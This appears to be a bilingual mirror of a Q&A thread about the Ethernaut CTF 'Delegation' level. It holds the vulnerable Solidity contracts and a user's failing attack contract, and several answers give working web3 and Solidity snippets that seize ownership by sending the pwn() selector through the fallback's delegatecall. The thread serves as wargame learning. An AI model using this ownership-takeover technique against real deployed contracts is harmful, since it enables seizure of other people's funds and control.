使用委托调用在外部合约中传递 msg.data

发布于 2025-01-16 07:53:19 字数 1075 浏览 5 评论 0原文

我正在经历 ethernaut ctf 挑战,我试图通过我自己的智能合约获得此合约的所有权,这是目标代码:

 pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

我的假设是您可以利用此代码并通过在代表团中传递 msg.data 来获得所有权与委托合约中的 pwn() 函数相对应的合约(使用委托调用这将允许我们获得委托合约的所有权)。我的问题是传递 msg.data,我不完全确定如何正确执行此操作,这是我的尝试:

contract OwnerAttack {

    function attack(address payable _victim) public payable {

    address to = payable(_victim);
    (bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
    require(sent , "transfer failed");

    }


    receive()external payable{ 
    }

但是传输失败,提前感谢您的帮助

I am going through the ethernaut ctf challeneges and I am trying to take ownership of this contract through my own smart contract, here is the target code:

 pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

My assumption is that you can exploit this code and take ownership by passing msg.data in the Delegation contract that corresponds to the pwn() function in the Delegate contract (using delegate call this will allow us to take ownership of the delegation contract). My problem is passing in the msg.data and I am not entirely sure how to do it properly, here is my attempt:

contract ownerAttack {

    function attack(address payable _victim) public payable {

    address to = payable(_victim);
    (bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
    require(sent , "transfer failed");

    }


    receive()external payable{ 
    }

However the transfer fails, thanks in advance for the help

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(4

旧城空念 2025-01-23 07:53:19

您已正确确定了解决此问题的方法;我们必须在调用直接合约(委托)时发送目标合约(委托)的函数选择器。

为此,我们可以使用 Web3JS 或 EtherJS。 Ethernaut 控制台支持 Web3JS,因此我们将在这里使用它。

首先,我们必须计算 pwn() 函数的选择器。

const selector = web3.eth.abi.encodeFunctionSignature("pwn()")

其次,我们必须调用 Delegation,但调用 pwn() 作为其函数。这样,回退函数就会被触发,然后委托调用选择器位于事务的 msg.data 中的函数。这样就调用了委托合约的pwn()函数。

为了进行调用,我们只需使用 sendTransaction,例如:

await web3.eth.sendTransaction({from:player, to:contract.address, data:selector})

这应该可以回答您的问题。

You have correctly identified the approach to this; we have to send in the function selector of the target contract (Delegate) while making a call to the immediate contract (Delegation).

For this, we can Web3JS or EtherJS. Ethernaut console supports Web3JS so we will go with that here.

First, we have to calculate the selector for the pwn() function.

const selector = web3.eth.abi.encodeFunctionSignature("pwn()")

Second, we have to make the call to Delegation, but call pwn() as its function. This way, the fallback function is triggered, which then makes the delegate call to the function whose selector is in msg.data of the transaction. Thus, pwn() function of Delegate contract is called.

To make the call, we simply use sendTransaction like:

await web3.eth.sendTransaction({from: player, to: contract.address, data: selector})

And this should answer your question.

蓝天白云 2025-01-23 07:53:19

我认为 Hasan Answer 会起作用,但如果你想完全在 Solidity 内部进行攻击,我认为你可能可以通过以下方式获得函数签名:

bytes4 encodedSignature = bytes4(keccak256("pwn()"));

使用 keccak256 进行散列,然后将其转换为 bytes4 这正是 Solidity 生成函数签名的方式,所以这应该有效。

但经过一些研究,看起来您也可以使用它来检索它:

Delegate(0).pwn.selector

然后使用返回的值进行攻击。

I think Hasan Answer will work, but if you want to do the attack entirely inside solidity, I think you might be able to get the function signature by doing:

bytes4 encodedSignature = bytes4(keccak256("pwn()"));

Hashing with keccak256 and then casting it to bytes4 is exatcly how Solidity generates function signatures, so this should work.

But after some research it looks like you can also use this to retrieve it:

Delegate(0).pwn.selector

Then use the returned value to make the attack.

捎一片雪花 2025-01-23 07:53:19

以下内容也适用:

        bytes memory selector = abi.encodeWithSignature("pwn()");
        (bool success, ) = address(c).call(selector);

c 是进行委托调用的合约的地址

The following also works:

        bytes memory selector = abi.encodeWithSignature("pwn()");
        (bool success, ) = address(c).call(selector);

c is the address of the contract which makes the delegatecall

关于从前 2025-01-23 07:53:19

如果您通过合同进行调用,所有者将被设置为您调用的合同。

因此最好使用 Hasan 提到的 sendTransaction 方法。

if you make the call from a contract, the owner will be set to the contract you call from.

thus its best to use sendTransaction method mentioned by Hasan.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文